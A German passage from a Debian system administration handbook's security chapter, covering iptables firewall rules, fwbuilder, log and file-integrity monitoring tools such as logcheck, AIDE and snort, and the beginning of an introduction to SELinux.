Man beachte, dass ein IPv4-Netzwerk zwar ohne ICMP funktionieren kann, dass aber ICMPv6 für ein IPv6-Netzwerk unbedingt erforderlich ist, da es mehrere Funktionen vereint, die in der IPv4-Welt auf ICMPv4, IGMP (Internet Group Membership Protocol) und ARP (Address Resolution Protocol) verteilt waren. ICMPv6 ist in der RFC4443 definiert.

→ http://www.faqs.org/rfcs/rfc4443.html

ACCEPT: erlaube dem Paket, seinen Weg fortzusetzen;

REJECT: weise das Paket mit einem ICMP-Fehlerpaket zurück (die Option --reject-with Typ in Verbindung mit dem Befehl iptables ermöglicht es, den Fehlertyp auszuwählen);

DROP: lösche (ignoriere) das Paket;

LOG: protokolliere (mittels syslogd) eine Meldung mit einer Beschreibung des Pakets; man beachte, dass hierdurch die Verarbeitung nicht abgebrochen wird und die Ausführung der Kette mit der nächsten Regel weitergeht, weshalb das Protokollieren zurückgewiesener Pakete sowohl die LOG-Regel als auch die REJECT/DROP-Regel erfordert;

ULOG: protokolliere eine Meldung mittels ulogd, das für die Verarbeitung einer hohen Anzahl von Meldungen anpassungsfähiger und effizienter ist als syslogd; man beachte, dass dieser Vorgang, wie bei LOG, die weitere Verarbeitung an die nächste Regel in der aufrufenden Kette zurückgibt;

ketten_name: springe zu der angegebenen Kette und werte ihre Regeln aus;

RETURN: beende die Verarbeitung der aktuellen Kette und kehre zu der aufrufenden Kette zurück; falls die aktuelle Kette eine Standardkette ist, gibt es keine aufrufende Kette, und so wird stattdessen die voreingestellte Aktion (die durch die Option -P des Befehls iptables festgelegt wird) ausgeführt;

SNAT (nur in der Tabelle nat, daher nur in IPv4): wende Source NAT an (weitere Optionen beschreiben genau die anzuwendenden Änderungen);

DNAT (nur in der Tabelle nat, daher nur in IPv4): wende Destination NAT an (weitere Optionen beschreiben genau die anzuwendenden Änderungen);

MASQUERADE (nur in der Tabelle nat, daher nur in IPv4): wende masquerading an (ein Sonderfall von Source NAT);

REDIRECT (nur in der Tabelle nat, daher nur in IPv4): lenke das Paket an einen vorgegebenen Port der Firewall selbst um; dies kann dazu benutzt werden, einen transparenten Webproxy aufzusetzen, der auf der Clientseite ohne Konfiguration funktioniert, da der Client davon ausgeht, dass er direkt mit dem Empfänger verbunden ist, während der Nachrichtenaustausch in Wirklichkeit durch den Proxy läuft.

Andere Aktionen, insbesondere solche, die die mangle-Tabelle betreffen, liegen außerhalb des Rahmens dieses Textes. Die Handbuchseiten iptables(8) und ip6tables(8) enthalten umfangreiche Auflistungen.

14.2.2. Syntax von iptables und ip6tables

Mit den Befehlen iptables und ip6tables können Tabellen, Ketten und Regeln gehandhabt werden. Ihre Option -t tabelle zeigt an, welche Tabelle bearbeitet werden soll (die Voreinstellung ist filter).

14.2.2.1. Befehle

Die Option -N kette erzeugt eine neue Kette. Die Option -X kette löscht eine leere und unbenutzte Kette. Die Option -A kette regel fügt am Ende der angegebenen Kette eine Regel an. Die Option -I kette regel_nummerregel fügt eine Regel vor der Regel mit der Nummer regel_nummer ein. Die Option -D ketteregel_nummer (oder -D ketteregel) löscht eine Regel in der Kette; die erste Syntax identifiziert die zu löschende Regel durch ihre Nummer, während letztere sie durch ihren Inhalt identifiziert. Die Option -F kette leert eine Kette (löscht alle ihre Regeln); wenn keine Kette angegeben wird, werden alle Regeln der Tabelle gelöscht. Die Option -L kette listet alle Regeln der Kette auf. Schließlich legt die Option -P ketteaktion die voreingestellte Aktion oder „Richtlinie“ einer gegebenen Kette fest; man beachte, dass nur Standardketten eine derartige Richtlinie haben können.

14.2.2.2. Regeln

Jede Regel wird in der Form bedingungen -j aktionaktions_optionen dargestellt. Werden mehrere Bedingungen in derselben Regel angegeben, dann ist das Kriterium die Verknüpfung (das logische und) der Bedingungen, die wenigstens so restriktiv ist wie jede einzelne Bedingung.

Die Bedingung -p protokoll vergleicht das Protokollfeld des IP-Pakets. Die häufigsten Werte sind tcp, udp, icmp und icmpv6. Ein vorangestelltes Ausrufezeichen kehrt die Bedingung um, die dann dem Ausdruck „alle Pakete mit einem anderen als dem angegebenen Protokoll“ entspricht. Dieser Umkehrungsmechanismus ist nicht auf die Option -p beschränkt, sondern kann auch auf alle anderen Bedingungen angewendet werden.

Die Bedingung -s adresse oder -s network/mask vergleicht die Quelladresse des Pakets. Dementsprechend vergleicht die Bedingung -d adresse oder -d network/mask die Zieladresse.

Die Bedingung -i schnittstelle wählt Pakete, die von der angegebenen Netzwerkschnittstelle kommen. -o schnittstelle wählt Pakete, die von einer bestimmten Schnittstelle abgehen.

Es gibt genauere Bedingungen in Abhängigkeit von den oben beschriebenen allgemeinen Bedingungen. So kann zum Beispiel die Bedingung -p tcp um Bedingungen für die TCP-Ports ergänzt werden durch Ausdrücke wie --source-port port und --destination-port port.

Die Bedingung --state status vergleicht den Status eines Pakets in einer Verbindung (hierbei ist das Kernelmodul ipt_conntrack zur Verbindungsverfolgung erforderlich). Der Status NEW bezeichnet ein Paket, das eine neue Verbindung eröffnet; ESTABLISHED gilt für Pakete, die zu einer bereits bestehenden Verbindung gehören, und RELATED entspricht Paketen, die eine neue Verbindung im Zusammenhang mit einer bestehenden eröffnen (dies ist nützlich für die ftp-data-Verbindungen im „aktiven“ Modus des FTP-Protokolls).

Der vorstehende Abschnitt führt verfügbare Aktionen auf, aber nicht ihre jeweiligen Optionen. Die Aktion LOG hat zum Beispiel folgende Optionen:

--log-priority, mit dem voreingestellten Wert warning, gibt die Priorität der syslog-Meldung an;

--log-prefix ermöglicht es, einen Text-Vorspann festzulegen, um protokollierte Meldungen unterscheiden zu können;

--log-tcp-sequence, --log-tcp-options und --log-ip-options kennzeichnen zusätzliche Daten zur Einbindung in die Meldung, und zwar die TCP-Sequenznummer, die TCP-Optionen und die IP-Optionen.

Die Aktion DNAT (nur für IPv4 verfügbar) bietet die Option --to-destination addresse:port an, mit der die neue IP-Zieladresse und der neue Zielport gekennzeichnet werden. Genauso bietet SNAT die Option --to-source addresse:port an, mit der die neue IP-Quelladresse und der neue Quellport gekennzeichnet werden.

Die Aktion REDIRECT (nur für IPv4 verfügbar) bietet die Option --to-ports port(s) an, mit der der Port oder der Portbereich gekennzeichnet werden, an den die Pakete umgelenkt werden sollen.

14.2.3. Regeln erstellen

Für jede erstellte Regel muss jedes Mal iptables/ip6tables aufgerufen werden. Da es mühsam ist, diese Befehle von Hand einzugeben, werden sie normalerweise in einem Skript gespeichert, so dass bei jedem Rechnerstart automatisch dieselbe Konfiguration eingerichtet wird. Dieses Skript kann von Hand geschrieben werden, aber es kann auch interessant sein, es mit einem hochentwickelten Hilfsprogramm wie fwbuilder zu erstellen.

Das Prinzip ist einfach. Zunächst müssen alle Elemente beschrieben werden, die in den eigentlichen Regeln enthalten sein werden:

die Firewall selbst mit ihren Netzwerkschnittstellen;

die Netzwerke mit ihren jeweiligen IP-Bereichen;

die Server;

die Ports, die zu den auf den Servern untergebrachten Diensten gehören.

Die Regeln werden dann durch einfaches Ziehen und Ablegen auf die Objekte erstellt. Über einige kontextbezogene Menüs kann die Bedingung geändert (zum Beispiel umgekehrt) werden. Anschließend muss die Aktion ausgewählt und konfiguriert werden.

Was IPv6 betrifft, so kann man entweder zwei verschiedene Regelsätze für IPv4 und IPv6 erstellen, oder nur einen und fwbuilder die Regeln je nach den Adressen, die den Objekten zugewiesen sind, übersetzen lassen.

Figure 14.2. Das Hauptfenster des Fwbuilder

fwbuilder kann dann ein Skript zur Konfigurierung der Firewall in Übereinstimmung mit den festgelegten Regeln erstellen. Seine modulare Architekt bietet die Möglichkeit, Skripte für unterschiedliche Systeme zu erstellen (iptables für Linux 2.4/2.6, ipf für FreeBSD und pf für OpenBSD).

Die Versionen des Pakets fwbuilder enthalten seit Squeeze sowohl die grafische Schnittstelle als auch die Module für jedes Firewall-System (vorher waren sie auf mehrere Pakete verteilt, je eins für jedes Zielsystem):

# aptitude install fwbuilder

14.2.4. Die Regeln bei jedem Rechnerstart installieren

Falls die Firewall eine zeitweilige PPP-Netzwerkverbindung schützen soll, besteht der einfachste Weg zur Anwendung des Skripts darin, es als /etc/ppp/ip-up.d/0iptables zu installieren (man beachte, dass nur Dateien ohne Punkt in ihrem Namen berücksichtigt werden). Die Firewall wird auf diese Weise jedes Mal wieder geladen, wenn eine PPP-Verbindung hergestellt wird.

In anderen Fällen besteht der empfohlene Weg darin, das Konfigurationsskript in einer up-Anweisung der Datei /etc/network/interfaces einzutragen. Im folgenden Beispiel ist das Skript unter /usr/local/etc/arrakis.fw gespeichert.

Example 14.1. Aufruf eines Firewallskripts durch eine interfaces-Datei

auto eth0 iface eth0 inet static address 192.168.0.1 network 192.168.0.0 netmask 255.255.255.0 broadcast 192.168.0.255 up /usr/local/etc/arrakis.fw

14.3. Überwachung: Vorbeugung, Entdeckung, Abschreckung

Monitoring ist aus mehreren Gründen ein integraler Bestandteil jeder Sicherheitsrichtlinie. Unter anderem deshalb, weil das Ziel der Absicherung gewöhnlich nicht darauf beschränkt ist, die Vertraulichkeit der Daten sicherzustellen, sondern auch vorsieht, dass die Verfügbarkeit der Dienste gewährleistet ist. Es ist daher unerlässlich, zu überprüfen, ob alles wie vorgesehen funktioniert, und rechtzeitig jedes abweichende Verhalten und jede Änderung in der Qualität der erbrachten Leistungen zu erkennen. Monitoring macht es möglich, Einbruchsversuche zu entdecken und darauf schnell zu reagieren, bevor sie ernste Folgen haben. Dieser Abschnitt gibt einen Überblick über einige Hilfsprogramme, die zur Überwachung verschiedener Aspekte eines Debian-Systems eingesetzt werden können. Damit vervollständigt er den Abschnitt über das allgemeine System-Monitoring in Chapter 12, Weitergehende Verwaltung.

14.3.1. Protokolle mit logcheck verfolgen

Das Programm logcheck überwacht Protokolldateien standardmäßig jede Stunde. Es schickt E-Mails mit ungewöhnlichen Protokollmeldungen zur weiteren Analyse an den Administrator.

Die Liste der überwachten Dateien wird in /etc/logcheck/logcheck.logfiles gespeichert; die Standardeinstellungen eignen sich gut, solange die Datei /etc/syslog.conf nicht vollständig verändert worden ist.

logcheck kann in drei mehr oder weniger detaillierten Modi laufen: Paranoid, Server und Arbeitsplatzrechner. Der erste ist sehr ausführlich und sollte wohl eher auf besondere Server, wie zum Beispiel Firewalls, beschränkt bleiben. Der zweite (voreingestellte) Modus wird für die meisten Server empfohlen. Der letzte ist für Arbeitsplatzrechner bestimmt und ist noch knapper (er unterdrückt mehr Meldungen).

In allen drei Fällen sollte logcheck wohl so angepasst werden, dass es einige zusätzliche Meldungen ausschließt (in Abhängigkeit von den installierten Diensten), es sei denn, dass der Administrator tatsächlich jede Stunde stapelweise lange uninteressante E-Mails empfangen möchte. Da das Verfahren zur Auswahl der Meldungen recht kompliziert ist, ist es notwendig - wenn auch schwierig - die Datei /usr/share/doc/logcheck-database/README.logcheck-database.gz durchzulesen.

Die eingesetzten Regeln können in mehrere Arten unterteilt werden:

solche, die eine Meldung als einen Einbruchsversuch einstufen (in einer Datei im Verzeichnis /etc/logcheck/cracking.d/ gespeichert);

solche, die eine derartige Einstufung aufheben (/etc/logcheck/cracking.ignore.d/);

solche, die eine Meldung als Sicherheitswarnung einordnen (/etc/logcheck/violations.d/);

solche, die diese Einordnung aufheben (/etc/logcheck/violations.ignore.d/);

und schließlich solche, die auf die übrigen Meldungen zutreffen (als sogenannte Systemvorfälle angesehen werden).

VORSICHT Eine Meldung ignorieren

Eine Meldung, die als Einbruchsversuch oder als Sicherheitswarnung markiert worden ist (aufgrund einer Regel, die in einer Datei namens /etc/logcheck/violations.d/meine_datei gespeichert ist), kann nur mit einer Regel in den Dateien /etc/logcheck/violations.ignore.d/meine_datei oder /etc/logcheck/violations.ignore.d/meine_datei-erweiterung ignoriert werden.

Ein Systemvorfall wird immer angezeigt, es sei denn, eine Regel in einem der Verzeichnisse des Typs /etc/logcheck/ignore.d.{paranoid,server,arbeitsplatzrechner}/ bestimmt, dass der Vorfall ignoriert werden soll. Es werden natürlich nur die Verzeichnisse berücksichtigt, deren Ausführlichkeitsgrad gleich dem oder höher als der ausgewählte Betriebsmodus ist.

TIPP Ihre Protokolle als Bildschirmhintergrund

Einige Administratoren möchten ihre Protokollmeldungen gerne in Echtzeit durchlaufen sehen; der Befehl root-tail (im Paket root-tail) kann dazu verwendet werden, die Protokolle in den Hintergrund der grafischen Arbeitsfläche zu integrieren. Das Programm xconsole (im Paket x11-apps) kann sie ebenfalls in einem kleinen Fenster durchlaufen lassen. Meldungen werden direkt aus syslogd über die Pipe /dev/xconsole entnommen.

14.3.2. Aktivitäten überwachen

14.3.2.1. In Echtzeit

top ist ein interaktives Hilfsprogramm, das eine Liste der gegenwärtig laufenden Prozesse anzeigt. Die voreingestellte Reihenfolge hängt vom momentanen Umfang der Prozessornutzung ab und kann mithilfe der P-Taste abgerufen werden. Andere Sortierreihenfolgen sind unter anderem nach belegtem Speicher (M-Taste), nach gesamter Prozessorzeit (T-Taste) und nach Prozesskennung (N-Taste). Mit der k-Taste kann ein Prozess abgebrochen werden, indem seine Kennung eingegeben wird. Die r-Taste ermöglicht das renicing eines Prozesses, das heißt, die Änderung seiner Priorität.

Wenn das System überlastet zu sein scheint, ist top ein großartiges Instrument, um zu sehen, welche Prozesse um die Prozessorzeit konkurrieren oder zu viel Speicher verbrauchen. Insbesondere ist es häufig interessant zu überprüfen, ob die Prozesse, die Ressourcen verbrauchen, den tatsächlichen Diensten entsprechen, die der Rechner bekanntermaßen beherbergt. Ein unbekannter Prozess, der unter dem Benutzernamen www-data läuft, sollte wirklich hervorstechen und kann untersucht werden, da er möglicherweise ein Programm ist, das durch eine Schwachstelle in einer Web-Anwendung auf dem System installiert wurde und ausgeführt wird.

top ist ein sehr flexibles Hilfsprogramm, und seine Handbuchseite beschreibt ausführlich, wie seine Anzeige individuell eingerichtet und an persönliche Bedürfnisse und Gewohnheiten angepasst werden kann.

Die grafischen Hilfsprogramme gnome-system-monitor und qps sind top ähnlich und bieten etwa die gleichen Leistungsmerkmale.

TIPP Visuelle Aktivitätsdarstellung

Für stärker visuelle (und unterhaltsamere) Darstellungen der Rechneraktivität sollte man sich die Pakete lavaps, bubblemon und bubblefishymon näher ansehen. lavaps zeigt laufende Prozesse als Wachsblasen in einer Lavalampe an. bubblemon ist ein Applet für die Bildschirmleiste, das den Speicherverbrauch und die Prozessorauslastung als Blasen in einem Aquarium darstellt. bubblefishymon ist recht ähnlich, nur dass es zusätzlich Fische anzeigt, die den Netzverkehr darstellen (und sogar eine Ente).

14.3.2.2. Verlauf

Prozessorauslastung, Netzwerkverkehr und freier Plattenplatz sind Informationen, die sich ständig ändern. Es ist häufig nützlich, den Verlauf ihrer Entwicklung festzuhalten, um genau feststellen zu können, wie der Rechner genutzt wird.

Für diese Aufgabe gibt es zahlreiche spezialisierte Hilfsprogramme. Die meisten von ihnen können Daten über SNMP (Simple Network Management Protocol) einholen, um diese Informationen an einer Stelle zusammenzufassen. Ein weiterer Nutzen besteht darin, dass auf diese Weise Daten von Netzwerkelementen eingeholt werden können, die keine Universalrechner sind, wie spezialisierte Netzwerkrouter oder -schalter.

Dieses Buch behandelt Munin ausführlich als Teil von Chapter 12: “Weitergehende Verwaltung” (siehe Section 12.4.1, “Munin einrichten”). Debian stellt ebenfalls ein ähnliches Hilfsprogramm bereit: cacti. Sein Einsatz ist etwas komplizierter, da es ausschließlich auf SNMP beruht. Obwohl es eine Web-Schnittstelle hat, benötigt das Verständnis der Konzepte, die für die Konfigurierung verwendet werden, noch einige Anstrengung. Die Lektüre der HTML-Dokumentation (/usr/share/doc/cacti/html/index.html) ist daher als Voraussetzung anzusehen.

ALTERNATIVE mrtg

mrtg (in dem Paket ähnlichen Namens) ist ein älteres Hilfsprogramm. Trotz einiger Ecken und Kanten kann es Verlaufsdaten zusammenfassen und als Diagramme anzeigen. Es enthält eine Reihe spezieller Skripte zur Sammlung der am häufigsten überprüften Daten wie Prozessorlast, Netzwerkverkehr, Webseitenzugriffe und so weiter.

Die Pakete mrtg-contrib und mrtgutils enthalten Beispielskripte, die direkt verwendet werden können.

14.3.3. Änderungen erkennen

Nachdem das System installiert und konfiguriert ist, gibt es, abgesehen von Sicherheitsaktualisierungen, normalerweise keinen Grund, dass Dateien und Verzeichnisse sich weiterentwickeln, Daten ausgenommen. Es ist daher interessant sicherzustellen, dass Dateien sich in der Tat nicht ändern: jede unerwartete Veränderung wäre daher eine Untersuchung wert. Dieser Abschnitt stellt einige Hilfsprogramme vor, die Dateien überwachen und den Administrator warnen können, wenn eine unerwartete Veränderung auftritt (oder einfach derartige Veränderungen auflisten).

14.3.3.1. Pakete auditieren: debsums und seine Grenzen

WEITERE SCHRITTE Schutz vor vorgelagerten Veränderungen

debsums ist nützlich zur Entdeckung von Änderungen an Dateien, die aus einem Debian-Paket stammen. Jedoch ist es nutzlos, falls das Paket selbst beschädigt ist, weil zum Beispiel der Debian-Spiegelserver kompromittiert wurde. Um sich gegen diese Art von Angriffen zu schützen, ist es erforderlich, APTs Verifikationssystem für digitale Signaturen zu benutzen (siehe Section 6.5, “Die Echtheit eines Paketes prüfen”) und darauf zu achten, nur Pakete zertifizierten Ursprungs zu installieren.

debsums ist ein interessantes Hilfsprogramm, da es mit ihm möglich ist, herauszufinden, welche der installierten Dateien verändert worden sind (möglicherweise von einem Angreifer). Jedoch sollten diese Informationen mit Vorsicht aufgenommen werden, insbesondere weil nicht alle Debian-Pakete die von diesem Programm benötigten digitalen Fingerabdrücke bereitstellen (sie sind, falls vorhanden, in /var/lib/dpkg/info/paket.md5sums zu finden). Zur Erinnerung: ein Fingerabdruck ist ein Wert, häufig eine Zahl (wenn auch in hexadezimaler Schreibweise), die eine Art Signatur für den Inhalt der Datei enthält. Diese Signatur wird mit einem Algorithmus berechnet (MD5 und SHA1 sind bekannte Beispiele), der mehr oder weniger garantiert, dass selbst kleinste Veränderungen des Dateiinhalts eine Änderung des Fingerabdrucks bewirken; dies wird als „Lawineneffekt“ bezeichnet. Er ermöglicht es, einen einfachen numerischen Fingerabdruck als Lackmustest zu verwenden, um zu überprüfen, ob der Inhalt einer Datei verändert wurde. Diese Algorithmen sind nicht umkehrbar; mit anderen Worten, bei den meisten von ihnen ermöglicht die Kenntnis eines Fingerabdrucks es nicht, den dazugehörigen Inhalt zu finden. Jüngste mathematische Fortschritte schwächen anscheinend die absolute Gültigkeit dieser Prinzipien, aber ihre Verwendung ist bisher nicht infrage gestellt, da es wohl nach wie vor eine recht schwierige Aufgabe ist, einen anderen Inhalt zu erstellen, der denselben Fingerabdruck ergibt.

Außerdem sind die md5sums-Dateien auf der Festplatte gespeichert; ein sorgfältiger Angreifer wird daher diese Dateien aktualisieren, so dass sie die neuen Kontrollsummen für die unterwanderten Dateien enthalten.

Der erste Missstand kann dadurch vermieden werden, dass man debsums anweist, seine Überprüfungen auf ein .deb-Paket zu gründen, anstatt sich auf die md5sums-Datei zu verlassen. Hierzu müssen jedoch zunächst die passenden .deb-Dateien heruntergeladen werden:

# apt-get --reinstall -d install `debsums -l` [ ... ] # debsums -p /var/cache/apt/archives -g

Es sei auch darauf hingewiesen, dass debsums in seiner Standardkonfiguration automatisch die fehlenden md5sums-Dateien erstellt, wann immer ein Paket mit APT installiert wird.

Das andere Problem kann in ähnlicher Weise vermieden werden: die Überprüfung muss einfach auf einer tadellosen .deb-Datei beruhen. Da dies voraussetzt, dass man über alle .deb-Dateien für alle installierten Pakete verfügt und ihrer Unversehrtheit sicher ist, besteht der einfachste Weg darin, sie sich von einem Debian-Spiegelserver zu beschaffen. Dieser Vorgang kann langsam und mühsam sein und sollte daher nicht als eine regelmäßig zu nutzende proaktive Vorgehensweise angesehen werden.

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package` [ ... ] # debsums -p /var/cache/apt/archives --generate=all

Man beachte, dass in diesem Beispiel der Befehl grep-status aus dem Paket grep-dctrl verwendet wird, das nicht standardmäßig installiert ist.

14.3.3.2. Dateien überwachen: AIDE

Das Hilfsprogramm AIDE (Advanced Intrusion Detection Environment) ermöglicht es, die Unversehrtheit von Dateien zu überprüfen und jede Veränderung durch einen Vergleich mit einem zuvor festgehaltenen Abbild des intakten Systems zu entdecken. Dieses Abbild ist als Datenbank (/var/lib/aide/aide.db) abgespeichert, die relevante Informationen über alle Dateien des Systems enthält (Fingerabdrücke, Berechtigungen, Zeitstempel und so weiter). Diese Datenbank wird erstmals mit dem Befehl aideinit initialisiert; sie wird dann täglich (mit dem Skript /etc/cron.daily/aide) genutzt, um nachzuprüfen, dass sich nichts Relevantes verändert hat. Wenn Veränderungen entdeckt werden, hält AIDE diese in Protokolldateien fest (/var/log/aide/*.log) und sendet seine Befunde per E-Mail an den Administrator.

IN DER PRAXIS Die Datenbank schützen

Da AIDE eine lokale Datenbank nutzt, um den Status der Dateien zu vergleichen, ist die Gültigkeit seiner Ergebnisse direkt an die Gültigkeit der Datenbank gebunden. Falls ein Angreifer auf einem kompromittierten System Administratorrechte erlangt, ist er in der Lage, die Datenbank auszutauschen und so seine Spuren zu verwischen. Eine mögliche Behelfslösung könnte darin bestehen, die Referenzdaten auf einem schreibgeschützten Medium zu speichern.

Viele Optionen in /etc/default/aide können dazu verwendet werden, das Verhalten des Pakets aide zu justieren. AIDEs eigentliche Konfiguration ist in /etc/aide/aide.conf und /etc/aide/aide.conf.d/ gespeichert (diese Dateien werden genau genommen nur von update-aide.conf dazu benutzt, die Datei /var/lib/aide/aide.conf.autogenerated zu erstellen). Die Konfiguration gibt an, welche Eigenschaften welcher Dateien überprüft werden sollen. Der Inhalt von Protokolldateien verändert sich zum Beispiel regelmäßig, und derartige Veränderungen können ignoriert werden, solange die Berechtigungen dieser Dateien die gleichen bleiben. Aber sowohl der Inhalt als auch die Berechtigungen von ausführbaren Dateien müssen unverändert bleiben. Obwohl die Konfigurationssyntax nicht sehr komplex ist, ist sie nicht völlig intuitiv. Daher wird empfohlen, die Handbuchseite aide.conf(5) zu lesen.

Eine neue Version der Datenbank wird täglich in /var/lib/aide/aide.db.new erstellt; falls alle aufgenommenen Veränderungen legitim waren, kann sie als Ersatz für die Referenzdatenbank verwendet werden.

ALTERNATIVE Tripwire und Samhain

Tripwire ist AIDE sehr ähnlich; selbst die Syntax der Konfigurationsdatei ist fast die gleiche. Die Hauptergänzung, die von tripwire bereitgestellt wird, ist ein Verfahren, die Konfigurationsdatei zu signieren, so dass ein Angreifer mit ihr nicht auf eine andere Version der Referenzdatenbank verweisen kann.

Samhain bietet ebenfalls ähnliche Leistungsmerkmale, sowie einige Funktionen, um Rootkits zu entdecken (siehe KURZER BLICK in der Seitenleiste). Es kann auch netzwerkweit eingesetzt werden und seine Spuren (mit einer Signatur) auf einem zentralen Server festhalten.

KURZER BLICK Die Pakete checksecurity und chkrootkit/rkhunter

Das erste dieser Pakete enthält verschiedene kleine Skripte, die grundlegende Prüfungen des Systems durchführen (leere Passwörter, neue setuid-Dateien usw.) und den Administrator, falls nötig, warnen. Allerdings sollte sich trotz seines eindeutigen Namens kein Administrator nur auf dieses Paket verlassen, wenn er dafür sorgen möchte, dass ein Linux-System sicher ist.

Die Pakete chkrootkit und rkhunter ermöglichen es, nach möglicherweise auf dem System installierten Rootkits Ausschau zu halten. Zur Erinnerung: dies sind Programme, die dazu bestimmt sind, die Kompromittierung eines Systems zu verbergen und gleichzeitig diskret den Rechner im Griff zu halten. Die Tests sind nicht zu 100% zuverlässig, aber sie können gewöhnlich die Aufmerksamkeit des Administrators auf die möglichen Probleme lenken.

14.3.4. Eindringen entdecken (IDS/NIDS)

ZURÜCK ZU DEN GRUNDLAGEN Denial of Service

Ein „Denial-of-Service“-Angriff hat nur ein Ziel: einen Dienst nicht verfügbar zu machen. Ob ein solcher Angriff nun darin besteht, den Server mit Anfragen zu überlasten oder einen Fehler auszunutzen, das Ergebnis ist das gleiche: der Dienst ist nicht mehr funktionsfähig. Die normalen Benutzer sind unzufrieden, und der Ruf der Organisation, die den angegriffenen Netzwerkdienst bereitstellt, erleidet Schaden (und verliert möglicherweise Einnahmen, falls zum Beispiel der Dienst eine E-Commerce-Website war).

Solch ein Angriff erfolgt manchmal „verteilt“; dazu gehört es normalerweise, den Server mit einer großen Anzahl von Anfragen, die von vielen verschiedenen Quellen kommen, zu überlasten, so dass der Server nicht mehr imstande ist, die seriösen Anfragen zu beantworten. Diese Art von Angriffen hat bekannte Abkürzungen erhalten: DoS und DDoS (je nachdem, ob der Denial-of-Service-Angriff verteilt ist oder nicht).

snort (im gleichnamigen Debian-Paket) ist ein NIDS - ein Network Intrusion Detection System. Seine Funktion besteht darin, das Netzwerk abzuhören und zu versuchen, Eindringversuche oder feindliche Handlungen (einschließlich eines Denial-of-Service-Angriffs) zu entdecken. Alle diese Vorgänge werden protokolliert und eine tägliche E-Mail mit einer Zusammenfassung der vergangenen 24 Stunden an den Administrator geschickt.

Zu seiner Konfigurierung muss der Adressbereich, den das lokale Netzwerk abdeckt, bezeichnet werden. In der Praxis ist dies der Satz aller möglichen Angriffsziele. Andere wichtige Parameter können mit dpkg-reconfigure snort eingestellt werden, einschließlich der zu überwachenden Netzwerk-Schnittstelle. Dies wird häufig eth0 für eine Ethernet-Verbindung sein, aber es gibt auch andere Möglichkeiten, wie ppp0 für ein ADSL, ein PSTN (Public Switched Telephone Network) oder das gute alte Einwahlmodem, oder auch wlan0 für kabellose Netzwerkkarten.

WEITERE SCHRITTE Integration mit prelude

Prelude ermöglicht eine zentralisierte Überwachung von Sicherheitsinformationen. Seine modulare Architektur enthält einen Server (den Manager im Paket prelude-manager), der Alarmmeldungen sammelt, die von verschiedenen Arten von Sensoren erzeugt werden.

Snort kann als ein solcher Sensor konfiguriert werden. Eine andere Möglichkeit ist prelude-lml (Log Monitor Lackey), das Protokolldateien überwacht (in ähnlicher Weise wie das in Section 14.3.1, “Protokolle mit logcheck verfolgen” beschriebene logcheck).

Die Konfigurationsdatei von snort (/etc/snort/snort.conf) ist sehr lang, und die ausgiebigen Kommentare beschreiben jede Anweisung in allen Einzelheiten. Um aus ihr möglichst viel herauszuholen, ist es erforderlich, sie vollständig durchzulesen und sie dann an die lokale Situation anzupassen. Zum Beispiel kann die Angabe darüber, welcher Rechner welchen Dienst beherbergt, die Anzahl der Vorfälle, die snort meldet, einschränken, da ein Denial-of-Service-Angriff auf einen Arbeitsplatzrechner deutlich weniger kritisch ist als auf einen DNS-Server. Eine andere interessante Anweisung ermöglicht es, die Zuordnungen zwische IP-Adressen und MAC-Adressen (diese identifizieren eine Netzwerkkarte eindeutig) zu speichern, um so ARP-spoofing-Angriffe zu entdecken, bei denen ein kompromittierter Rechner versucht, sich als ein anderer, wie zum Beispiel einen empfindlichen Server, auszugeben.

VORSICHT Wirkungsbereich

Die Effektivität von snort wird durch den Datenverkehr begrenzt, der an der überwachten Netzwerk-Schnittstelle sichtbar ist. Es kann natürlich nichts entdecken, wenn es den tatsächlichen Datenverkehr nicht beobachten kann. Wenn es an einen Netzwerkschalter angeschlossen ist, wird es daher nur Angriffe überwachen, die auf den Rechner, auf dem es läuft, abzielen, was möglicherweise nicht die Absicht ist. Der Rechner, der snort beherbergt, sollte daher an den „Spiegel“-Port des Schalters angeschlossen werden, der normalerweise speziell dafür vorgesehen ist, Schalter zu verketten und daher allen Datenverkehr erhält.

In einem kleinen Netzwerk, das sich auf einen Netzwerk-Hub stützt, besteht dieses Problem nicht, da alle Rechner allen Datenverkehr erhalten.

14.4. Einführung in SELinux

14.4.1. Prinzipien

SELinux (Security Enhanced Linux) ist ein System mit Mandatory Access Control, das auf der LSM-Schnittstelle (Linux Security Modules) von Linux aufbaut. In der Praxis befragt der Kernel SELinux vor jedem Systemaufruf, um herauszufinden, ob der Prozess autorisiert ist, den jeweiligen Vorgang auszuführen.

SELinux verwendet einen Satz von Regeln - in ihrer Gesamtheit als Policy bezeichnet - um Vorgänge zu autorisieren oder zu verbieten. Diese Regeln sind schwierig zu erstellen. Glücklicherweise werden zwei Standardregelwerke (targeted und strict) bereitgestellt, die den Großteil der Konfigurierungsarbeit entbehrlich machen.

Mit SELinux ist die Verwaltung der Berechtigungen grundsätzlich verschieden von traditionellen Unix-Systemen. Die Berechtigungen eines Prozesses hängen von seinem Sicherheitskontext ab. Der Kontext wird von der Identität des Benutzers bestimmt, der den Prozess gestartet hat, sowie von der Rolle und der Domain, die dem Benutzer zu dieser Zeit übertragen waren. Die Berechtigungen hängen tatsächlich von der Domain ab, aber die Übergänge zwischen den Domains werden von den Rollen kontrolliert. Und schließlich hängen die möglichen Übergänge zwischen den Rollen von der Identität ab.

Figure 14.3. Sicherheitskontexte und Unix-Nutzer

Konkret bekommt der Nutzer während der Anmeldung einen Standard-Sicherheitskontext zugewiesen (in Abhängigkeit von den Rollen, die er bestätigen können soll). Dies bestimmt die geltende Domain und damit auch die Domain, der alle neuen Unterprozesse zugeordnet werden. Wenn man die geltende Rolle und die ihr zugeordnete Domain ändern will, muss man den Befehl newrole -r rolle_r -t domain_t aufrufen (normalerweise ist nur eine einzige Domain für eine bestimmte Rolle erlaubt, deshalb kann der Parameter -t häufig weggelassen werden). Dieser Befehl authentifiziert jemanden, indem er ihn auffordert, sein Passwort einzugeben. Dies hindert Programme daran, selbstständig ihre Rollen zu ändern. Derartige Änderungen sind nur möglich, wenn sie im SELinux-Regelwerk ausdrücklich erlaubt sind.

Offensichtlich gelten die Berechtigungen nicht für alle Objekte (Dateien, Verzeichnisse, Sockets, Geräte usw.). Sie können von Objekt zu Objekt unterschiedlich sein. Um dies zu erreichen, ist jedes Objekt einem Typ zugeordnet (dies wird als Kennzeichnung bezeichnet). Die Rechte einer Domain werden somit durch Sätze von Operationen ausgedrückt, die bei diesen Typen erlaubt sind oder nicht (und indirekt bei allen Objekten, die mit dem jeweiligen Typ gekennzeichnet sind).

EXTRA Domains und Typen sind gleichwertig

